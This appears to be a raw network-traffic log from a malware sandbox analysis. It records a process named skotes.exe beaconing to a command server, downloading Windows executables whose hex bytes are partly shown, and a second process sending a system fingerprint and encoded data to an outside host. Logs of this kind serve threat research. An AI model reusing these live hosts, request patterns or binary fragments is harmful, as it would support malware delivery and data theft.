Dec 17, 2024 08:03:39.366868019 CET	556	IN	Data Raw: e6 8e db f5 2f 43 5c 0d 71 b2 0f da 94 3d 9c 33 9b a7 1a 5b dd 38 f0 4c 9b b0 7b e6 0e bf 57 4c 6d 9d 4d 96 65 8c 41 a0 5f cf 8c 4d bf 78 b3 a0 75 8f fe 18 e6 e8 de 6b dd 9e 11 78 57 ec 33 4c 9f f0 2b 94 99 3a 2a 36 ec 19 de 54 62 23 d6 3e 0c 8b Data Ascii: /C\q=3[8L{WLmMeA_MxukxW3L+:*6Tb#>L;OSanpgFg+T7AUnXVn3l=M^\P_c3[o[ ]48cTI<axi2Z+nS<0ZIM,JR^bdgZMZ[@{j5\
Dec 17, 2024 08:03:39.486624956 CET	1236	IN	Data Raw: 93 13 3e 78 a0 ec b7 14 79 8f ef 17 ff 54 b7 ff d1 92 b5 26 d2 34 fa 30 6d a1 df 39 e9 c8 5e fa 72 c2 e1 82 e3 ca 51 d4 6e ef 32 97 cc 93 a0 c8 cb b6 17 1c 74 8f 47 38 d1 6b 3e 02 47 90 14 80 0e e2 8e 2c 74 b0 40 f3 07 25 af 47 0b 8f f3 a5 1a 2e Data Ascii: >xyT&40m9^rQn2tG8k>G,t@%G. w07i,baY"&o^4wU2d""X9oP[Z&49vz<ZcP_{a& rVt>n6LgE[&ruTZhTwoRMQ^p75wm0c)YO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49915	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:44.834872007 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 35 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016541001&unit=246122658369
Dec 17, 2024 08:03:46.181886911 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49920	31.41.244.11	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:46.304148912 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 08:03:47.645324945 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:47 GMT Content-Type: application/octet-stream Content-Length: 4450816 Last-Modified: Tue, 17 Dec 2024 05:47:59 GMT Connection: keep-alive ETag: "6761108f-43ea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c9 b4 5f 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e2 47 00 00 84 75 00 00 32 00 00 00 60 c7 00 00 10 00 00 00 00 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c7 00 00 04 00 00 1e 99 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f f0 72 00 73 00 00 00 00 e0 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 41 c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 41 c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_g(Gu2`H@D@ _rsr\|A,A r*(@.rsrcr:(@.idata r<(@ 8s>(@rfhqlpdr@(@hgmpugmhPC@.taggant0`"C@
Dec 17, 2024 08:03:47.645344019 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:47.645356894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:47.645442963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:47.645458937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:47.645473957 CET	1236	IN	Data Raw: e4 ec dd 4b a1 ec 21 8f 59 42 fd e0 93 96 60 0a b8 16 29 29 f7 69 e1 3d d6 d1 74 70 59 78 bd 05 93 49 19 c9 28 68 f5 f3 fe ba 44 da ca ca 6e 31 5a 7a d8 92 0f f0 3e 15 63 ca 03 13 e0 f9 83 f7 12 ab a8 67 38 08 79 e4 c2 dc 08 06 09 71 26 bf 6c 73 Data Ascii: K!YB`))i=tpYxI(hDn1Zz>cg8yq&lsa0,K[H}Cqs2#[3c\|\|Eow[awX@\|C9#"j85"`z7+12Jhss1;#DZwf7!\|&pyvq/1=Cb
Dec 17, 2024 08:03:47.645663977 CET	1236	IN	Data Raw: 62 f4 38 21 3e ec f5 d1 71 a3 ff 8f e3 7c c1 e0 7b b3 68 b0 49 a4 eb 8f fc 6c cd c6 ca d0 08 cf bf 28 69 7e 75 e8 b1 21 f4 0c f5 15 1e 1a d0 9a 5f 58 70 36 66 ba 1d 94 0e be b5 ec 6e f0 a2 33 7b eb 26 a8 0f ab 56 a0 da 70 26 76 5e dc a9 ce 70 7c Data Ascii: b8!>q\|{hIl(i~u!_Xp6fn3{&Vp&v^p\|kRWB0IOgKG.*iC1GPb?/uv"G6v%Olul%_],LGK6}[W4^HbG0VeZd&+/;\|
Dec 17, 2024 08:03:47.645678997 CET	1236	IN	Data Raw: 92 40 9d c9 42 d9 d5 53 20 b2 ab a2 5d 3c 4c c3 ea 75 80 7b 21 67 6c 16 83 e7 75 02 48 ff 9b e5 3a cb 5b f2 d2 53 99 7d c3 f6 83 b5 17 dc 44 db 72 aa 87 63 fb d3 e2 3b 2e 76 cc 68 7f 16 b3 71 b6 dc 2e 24 c9 68 bd 64 92 4a 73 fb 4b e8 ac 21 58 85 Data Ascii: @BS ]<Lu{!gluH:[S}Drc;.vhq.$hdJsK!X\e`&AaV:ml~Jnmm C[^2#nNzWZc{2$}`n*De;@\y g}+.]]Rbi=
Dec 17, 2024 08:03:47.645697117 CET	1236	IN	Data Raw: 68 4d 21 81 73 38 e0 70 8b 6e 73 61 e6 34 7e b6 91 a6 dc e2 9a 66 7f b8 41 09 21 93 9a 9c 35 29 78 87 d7 06 18 f0 e0 d0 79 ed 63 46 be 18 3a 4e 68 ff f2 47 fe 12 f5 d9 42 a0 f6 a1 a2 06 20 ca 7e 11 27 00 be b8 93 6a 5f ab 8c f1 58 b2 9b d6 84 ab Data Ascii: hM!s8pnsa4~fA!5)xycF:NhGB ~'j_X,H7WPYGlbgd7U}[C_\;`oK>vrkR&lJF]~0%,\|in%<N_$w`:{gS"[o:T+[(;y+
Dec 17, 2024 08:03:47.645714045 CET	1236	IN	Data Raw: 32 d7 45 b9 7c 30 9b a6 0b cb b7 9e 36 e3 51 b1 72 e4 a6 95 5b a8 5e c0 6a 13 bc 30 83 7c c7 d7 61 4c d7 4d 66 bb 39 a2 22 43 a6 a2 cb 3c 5a b1 26 e3 51 b1 ee e4 a6 21 5b 98 5e c0 5b 8f 2b 12 72 73 5e c3 d2 04 d8 f7 34 ee 66 f3 5d fb 9a db 77 71 Data Ascii: 2E\|06Qr[^j0\|aLMf9"C<Z&Q![^[+rs^4f]wq'[2WyPrj7#Ac2fgyCd6rvQ*Ig\|JNb\ ;rLgP;V;c%+jbs\|55\YuMr?vn
Dec 17, 2024 08:03:47.765244007 CET	1236	IN	Data Raw: c5 43 ec 08 56 dc fa 70 4b 9c 9b 84 59 0b 2c ac 64 0d 40 f3 dc c2 72 87 1e b1 25 be 5a 79 dc 35 6f b8 fd d2 92 bd bd 6f 1b 5a b8 aa f1 a1 e6 cc d9 66 81 79 0a 68 7d 83 3a a8 68 32 26 98 6c 8b 56 90 f9 99 a7 2a 88 eb 7c 92 a5 35 7d f0 3b a9 13 b1 Data Ascii: CVpKY,d@r%Zy5ooZfyh}:h2&lV*\|5};9T@vcR68{\|]q>1{7yZYpo"Z_ui/\HBB\|^}]!(<metPx:>[QoRE#AbzF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49946	185.215.113.43	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:57.121282101 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 35 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016542001&unit=246122658369
Dec 17, 2024 08:03:58.488656998 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49950	31.41.244.11	80	8164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:03:58.614218950 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 08:03:59.955403090 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 07:03:59 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 17, 2024 08:03:59.955461025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 17, 2024 08:03:59.955481052 CET	1236	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 17, 2024 08:03:59.955499887 CET	672	IN	Data Raw: 00 e8 39 01 00 00 8b 45 e0 83 c4 04 eb 22 90 89 4d dc ff 15 c4 cc 41 00 8b 4d e0 90 89 4d dc 50 68 2d 9f 41 00 e8 15 01 00 00 8b 45 e0 83 c4 08 90 89 45 dc ff 75 d4 e8 39 6f 00 00 8b 75 e0 83 c4 04 90 0f b6 84 35 c4 fe ff ff 8b 55 d0 00 c2 0f b6 Data Ascii: 9E"MAMMPh-AEEu9ou5U5U5MU0BU9UuUEd0^_[]fUeE@EMPhAWEMj
Dec 17, 2024 08:03:59.955566883 CET	1236	IN	Data Raw: 00 8b 40 18 a3 58 f0 41 00 68 62 2d a5 2f ff 35 58 f0 41 00 e8 d6 f7 ff ff 83 ec 14 0f 28 05 30 60 41 00 0f 11 44 24 04 89 1c 24 c7 44 24 18 00 00 00 00 c7 44 24 14 80 00 00 00 ff d0 83 f8 ff 0f 84 e4 02 00 00 89 c6 6a 00 50 ff 15 b8 cc 41 00 83 Data Ascii: @XAhb-/5XA(0`AD$$D$D$jPAP=EEjPW}WV0AVHAG<LMEEE1ffff.E(E@E;E"WEWEulH
Dec 17, 2024 08:03:59.955585957 CET	1236	IN	Data Raw: 90 ff 75 e0 e8 f8 67 00 00 83 c4 04 8b 45 e8 64 a3 00 00 00 00 83 c4 58 5e 5f 5b 5d c3 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 55 83 ec 10 83 c5 0c 90 ff 75 e0 e8 5a 06 00 00 83 c4 04 83 c4 10 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 Data Ascii: ugEdX^_[]fffff.UuZ]USWV(eEEE"@dMdjAhQPAjEEEj@@EMEMQjPh @jjQ
Dec 17, 2024 08:03:59.955602884 CET	1236	IN	Data Raw: bd 01 00 00 83 c4 04 8b 45 f4 64 a3 00 00 00 00 eb 0a 90 8b 45 f4 64 a3 00 00 00 00 83 c4 14 5d c3 66 0f 1f 44 00 00 55 50 83 c5 00 90 ff 75 ec e8 8c 01 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 14 90 8b Data Ascii: EdEd]fDUPu]USWVUeEEE@#@dMdUEEu)Ed1^_[]UPM]fffff.UPu]
Dec 17, 2024 08:03:59.955619097 CET	104	IN	Data Raw: 00 00 83 c4 0c c6 04 1e 00 8b c7 5e eb 0f 53 ff 75 08 8b cf ff 75 fc 53 e8 93 04 00 00 5f 5b c9 c2 08 00 55 8b ec 8b 4d 08 83 c9 0f 56 3b 4d 10 77 1c 8b 75 0c 8b d6 8b 45 10 d1 ea 2b c2 3b f0 77 0c 8d 04 32 3b c8 0f 42 c8 8b c1 eb 03 8b 45 10 5e Data Ascii: ^SuuS_[UMV;MwuE+;w2;BE^]V~vF@P
Dec 17, 2024 08:03:59.955686092 CET	1236	IN	Data Raw: 36 e8 12 05 00 00 59 59 83 66 10 00 c7 46 14 0f 00 00 00 c6 06 00 5e c3 55 8b ec 51 8b 45 08 56 8b f1 89 75 fc 83 78 14 0f 76 02 8b 00 50 e8 a4 fc ff ff c7 06 b8 61 41 00 8b c6 5e c9 c2 04 00 55 8b ec 56 ff 75 08 8b f1 e8 be fc ff ff c7 06 b8 61 Data Ascii: 6YYfF^UQEVuxvPaA^UVuaA^]UVFD`APEYtjVYY^]UVu4\|aAP4aAMh,AEPDAUEUH]UQQVWuupEP
Dec 17, 2024 08:03:59.955704927 CET	1236	IN	Data Raw: f4 40 50 56 e8 3b 00 00 00 83 c4 20 eb 1b 53 51 e8 d2 1b 00 00 8b 75 14 56 ff 75 10 57 e8 c5 1b 00 00 83 c4 18 c6 04 37 00 8b 45 fc 8b cb 89 03 e8 cf f8 ff ff 5f 5e 8b c3 5b c9 c2 10 00 e8 b4 f4 ff ff cc 55 8b ec 8b 45 0c 3d 00 10 00 00 72 12 8d Data Ascii: @PV; SQuVuW7E_^[UE=rEPEPEYYPuJYY]UEu]P=rY]UEH#;QYtA#H]SaaAALaAUMu*h AEP
Dec 17, 2024 08:04:00.075535059 CET	1236	IN	Data Raw: 00 59 59 5d c3 55 8b ec 51 8b 4d 08 83 69 2c 01 75 0e 83 49 28 ff 8d 41 08 50 ff 15 34 cd 41 00 33 c0 c9 c3 55 8b ec 83 ec 18 a1 00 e6 41 00 33 c5 89 45 fc 56 8b 75 08 ff 15 ac cc 41 00 8b 0e 81 e1 ff fe ff ff 89 45 e8 83 f9 01 75 1f 39 46 28 74 Data Ascii: YY]UQMi,uI(AP4A3UA3EVuAEu9F(tFPDAEF(F,3SW}u^(9FPDAt\|WrQOu9O~GEPYM;O\|9Er9EuY;OuTE;G}LE^(9t%FPdAu^(9t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49959	104.154.220.71	80	4480	C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 08:04:01.901885033 CET	12360	OUT	POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1 Host: home.fivetk5pn.top Accept: / Content-Type: application/json Content-Length: 500926 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 34 31 39 30 33 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734419038", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 17, 2024 08:04:02.021858931 CET	4944	OUT	Data Raw: 6e 53 71 35 66 6c 6b 58 6a 38 58 54 72 30 6d 34 31 4d 50 58 39 68 66 44 59 4f 76 43 7a 35 36 65 4f 78 47 47 6b 74 45 5c 2f 65 6c 46 50 39 4e 34 5a 38 48 5c 2f 45 44 69 75 6e 68 38 56 67 4d 68 72 59 50 4c 73 54 54 70 31 36 4f 61 5a 78 4b 4f 56 34 Data Ascii: nSq5flkXj8XTr0m41MPX9hfDYOvCz56eOxGGktE\/elFP9N4Z8H\/EDiunh8VgMhrYPLsTTp16OaZxKOV4Krhq0YypYrDLE2xePw1WMounWy7C4yE03KLcYzlH5LH\/AC0\/H+tR1+ilj8GvhB4l0VRc+CJdAmeRmGo+EvFPiSDUEZSNse3xbf8AjPS5Lbg+ZH\/Zcdy4JCXsJ2uvl\/iP9kfUD5k\/gHxxo2ucSNFoni2D\/hD
Dec 17, 2024 08:04:02.021959066 CET	4944	OUT	Data Raw: 33 37 44 73 54 79 5c 2f 4e 69 7a 2b 5c 2f 5c 2f 41 4d 35 37 2b 39 54 66 65 6b 5a 48 65 4e 50 4d 50 45 66 2b 76 37 63 5c 2f 35 50 49 6f 69 4f 36 4e 35 74 6d 78 50 39 64 79 66 2b 58 6a 36 66 31 5c 2f 6e 52 74 65 54 47 39 50 6e 36 35 5c 2f 39 74 66 Data Ascii: 37DsTy\/Niz+\/\/AM57+9TfekZHeNPMPEf+v7c\/5PIoiO6N5tmxP9dyf+Xj6f1\/nRteTG9Pn65\/9tf5\/wBKDSn1+RC2z5NnmbPN8r7P\/wAt8H\/Prz3zR\/q9ib\/9XFcS\/wCfpj9O3Sn\/AD+Y\/wDyzSQ9Y\/8ACh\/7qfO\/Mv8ArRB\/L3+tBoVkHlyPsQ7z2H2Xn7Zz\/n\/Joz+83ukiPm3824\/5YY7\/ANf8
Dec 17, 2024 08:04:02.022000074 CET	2472	OUT	Data Raw: 5c 2f 6b 4b 62 55 6e 6c 2b 5c 2f 36 66 5c 2f 58 71 4f 67 36 43 78 2b 79 74 2b 33 61 76 37 4d 66 78 38 38 44 66 47 35 50 68 61 33 6a 68 50 42 52 38 55 68 66 44 54 65 4e 68 34 59 62 56 46 38 53 65 44 76 45 50 68 4a 53 32 73 44 77 6c 34 69 46 67 31 Data Ascii: \/kKbUnl+\/6f\/XqOg6Cx+yt+3av7Mfx88DfG5Pha3jhPBR8UhfDTeNh4YbVF8SeDvEPhJS2sDwl4iFg1mNeGoFRpl6Jza\/ZA0Pnfaov2M\/4iVv+rLf\/ADYz\/wDERX84PwN+JOm\/CD4vfD74la14D8HfFDQ\/CPiSy1LXvh34\/wDD+i+J\/CXjLQG32muaBqukeINO1bSXOoaTc3kOn6hcaddTaJqhstbsUF\/p1q6f0
Dec 17, 2024 08:04:02.022046089 CET	2472	OUT	Data Raw: 5c 2f 48 2b 58 54 38 61 68 6b 62 7a 4f 75 66 39 5a 5c 2f 6e 31 39 36 47 36 4c 5c 2f 31 79 5c 2f 6f 4b 5a 38 37 65 33 36 66 5c 2f 41 46 36 44 51 57 54 64 6e 64 73 32 66 39 73 73 66 35 39 61 71 34 66 47 37 2b 4c 36 64 38 64 66 58 72 37 5a 37 31 4c Data Ascii: \/H+XT8ahkbzOuf9Z\/n196G6L\/1y\/oKZ87e36f\/AF6DQWTdnds2f9ssf59aq4fG7+L6d8dfXr7Z71LJ2\/1nf+lNkV+U68\/6z\/P6df50HXzvy\/r5lfnO\/Z\/2zx+4\/wD1f5zmoPk+f\/Wd\/p\/n+mO2aueTn\/WEN\/L9KrSR\/e3\/AH+PT\/P1xQakPoif8s\/9V\/n\/APV7cUwB2+6nmH6kfrU+1\/8Ac5\/1
Dec 17, 2024 08:04:02.022182941 CET	2472	OUT	Data Raw: 2b 5c 2f 38 2b 76 61 71 4f 67 68 6b 6a 38 72 59 36 5a 52 50 5c 2f 52 4f 50 72 36 66 54 69 68 35 45 62 35 30 53 4a 48 6a 5c 2f 64 66 36 33 39 78 4e 5c 2f 54 36 38 30 5c 2f 64 38 30 62 6f 76 5c 2f 4c 4b 34 34 38 6f 5c 2f 34 5a 70 6d 31 5c 2f 6b 38 Data Ascii: +\/8+vaqOghkj8rY6ZRP\/ROPr6fTih5Eb50SJHj\/df639xN\/T680\/d80bov\/LK448o\/4Zpm1\/k8v\/nl5v8Azwn\/AD\/+v0oAZ5fmSI\/3\/wB7\/wAfEZ9el1+f9OlM+eGOD\/WbP9I8ry\/+vr8ftv8AnPapJNkck3yRonlc\/wCevNEchj2OibP3XlcRfv8AH2r8f\/r5oAj+fzJpk+5cf9MuPtA6f6J2\/PvTGj
Dec 17, 2024 08:04:02.022202015 CET	2472	OUT	Data Raw: 4b 35 74 78 42 66 32 6c 70 63 70 4c 44 64 77 4d 73 6b 4b 66 50 6a 4b 6d 33 2b 31 6a 5c 2f 41 47 56 48 2b 78 64 38 66 72 54 52 5a 49 48 30 7a 54 76 67 33 34 69 73 4c 51 57 30 35 75 59 59 72 61 33 38 4c 57 34 74 6f 6b 75 43 38 70 6d 56 4c 56 6f 4d Data Ascii: K5txBf2lpcpLDdwMskKfPjKm3+1j\/AGVH+xd8frTRZIH0zTvg34isLQW05uYYra38LW4tokuC8pmVLVoMSGWRmBBd2fdX9\/eHuYYHm8P8pw+ExMM0o+LOJx2YY618NiMqxGZZLh8swjn7WU3UwmOweYVqnPRhH\/bKDVarN8lL+X\/GvA5g14hZvXxeFlllfwLyLBYDAJKFfD5tQ4Kx+IzPFxpxowpwo4vBYzLqNNU6smvqVZ
Dec 17, 2024 08:04:02.022229910 CET	2472	OUT	Data Raw: 75 5a 31 31 4f 38 5c 2f 34 53 50 2b 7a 4a 6f 6c 74 64 48 73 33 66 2b 57 33 59 66 62 5c 2f 50 34 56 5c 2f 5a 4c 5c 2f 77 56 54 5c 2f 35 4d 4b 2b 50 48 2b 37 38 4d 76 5c 2f 56 78 5c 2f 44 32 76 34 33 36 5c 2f 31 4d 2b 67 61 75 58 68 48 6a 78 4b 39 Data Ascii: uZ11O8\/4SP+zJoltdHs3f+W3Yfb\/P4V\/ZL\/wVT\/5MK+PH+78Mv\/Vx\/D2v436\/1M+gauXhHjxK9lxFlm7lJ\/8AItnvKTcn6ts\/zt\/aN0o0OMfDKjB1ZQp8KZtGLrVq2Iqtf2tD46+IqVa1WX96pUnJ9yvRUknb8ajr+8z\/ADpCq9WKifr+H9TQAyo\/L9\/0\/wDr1JRQdBXoqSTt+P8ASo6AGbB7\/wCfwqDMn9
